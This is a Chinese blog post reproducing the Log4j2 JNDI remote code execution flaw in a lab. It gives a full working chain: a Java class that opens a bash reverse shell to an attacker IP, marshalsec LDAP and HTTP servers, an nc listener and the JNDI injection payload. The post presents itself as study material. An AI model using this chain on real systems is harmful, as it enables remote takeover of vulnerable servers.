栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Java

Apache Log4j2 远程代码执行漏洞 学习

Java 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

Apache Log4j2 远程代码执行漏洞 学习

Apache Log4j
  • 0x00 前言
  • 0x01 漏洞描述
  • 0x02 影响范围
  • 0x03 环境搭建
  • 0x04 漏洞复现
  • 0x05 修复方法
  • 0x06 总结

所有文章,仅供安全研究与学习之用,后果自负!

0x00 前言

Apache Log4j2是一款优秀的Java日志框架。2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。

0x01 漏洞描述

由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置。阿里云应急响应中心提醒 Apache Log4j2 用户尽快采取安全措施阻止漏洞攻击。

0x02 影响范围

https://github.com/YfryTchsGD/Log4jAttackSurface

Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。

了解到 已经有人可以绕过2.15.0-rc1版本,

影响版本

2.0<= Apache Log4j 2 < 2.15.0-rc2
0x03 环境搭建

(1)本地idea 项目测试

JNDI注入服务端选择使用 https://github.com/feihong-cs/JNDIExploit 搭建,命令:

java -jar JNDIExploit-1.2-SNAPSHOT.jar -i VPS_IP

(2)可本地 docker搭建

docker pull vulfocus/log4j2-rce-2021-12-09
docker run -dt --name log4j -p 8080:8080 --rm vulfocus/log4j2-rce-2021-12-09

(3)在线靶场测试 掌控安全 或者 vulfocus

 http://d63bb2586.lab.aqlab.cn/

dnslog测试

0x04 漏洞复现
http://d63bb2586.lab.aqlab.cn/

复现方法 与fastjson 差不多
可参考 之前写的 fastjson复现文章

(1)编译恶意类
exploit.java内容

import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
 
public class Exploit{
    public Exploit() throws Exception {
        Process p = Runtime.getRuntime().exec(new String[]{"bash", "-c", "bash -i >& /dev/tcp/你的ip地址/9897 0>&1"});
        InputStream is = p.getInputStream();
        BufferedReader reader = new BufferedReader(new InputStreamReader(is));
 
        String line;
        while((line = reader.readLine()) != null) {
            System.out.println(line);
        }
 
        p.waitFor();
        is.close();
        reader.close();
        p.destroy();
    }
 
    public static void main(String[] args) throws Exception {
    }
}

javac Exploit.java  

(2)python启用http服务 部署恶意类

python3开启http服务

python3 -m http.server 8080

(3)marshalsec 开启 LDAP服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar     marshalsec.jndi.LDAPRefServer "http://http服务地址:端口/#Exploit" 9999    

(4)接收shell的服务器 开启监听

nc -lvvp 9897

(5)在目标服务执行payload

${jndi:ldap://LDAP服务地址:LADP服务端口/Exploit}

攻击结果

LDAP服务 被访问

http服务放置的恶意类被访问

恶意类中的代码被目标靶机执行 shell反弹成功

0x05 修复方法

升级Apache Log4j 2至最新安全版本

目前log4j-2.15.0-rc1 已经存在绕过

0x06 总结

只要是 java8 及一下 dnslog 都可以成功 但命令不一定可以执行
具体看 java版本 及jdk版本
java 8 及 以下版本 几乎可以成功
jdk处于 8的 140之下才可以更好的执行命令。

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/657468.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号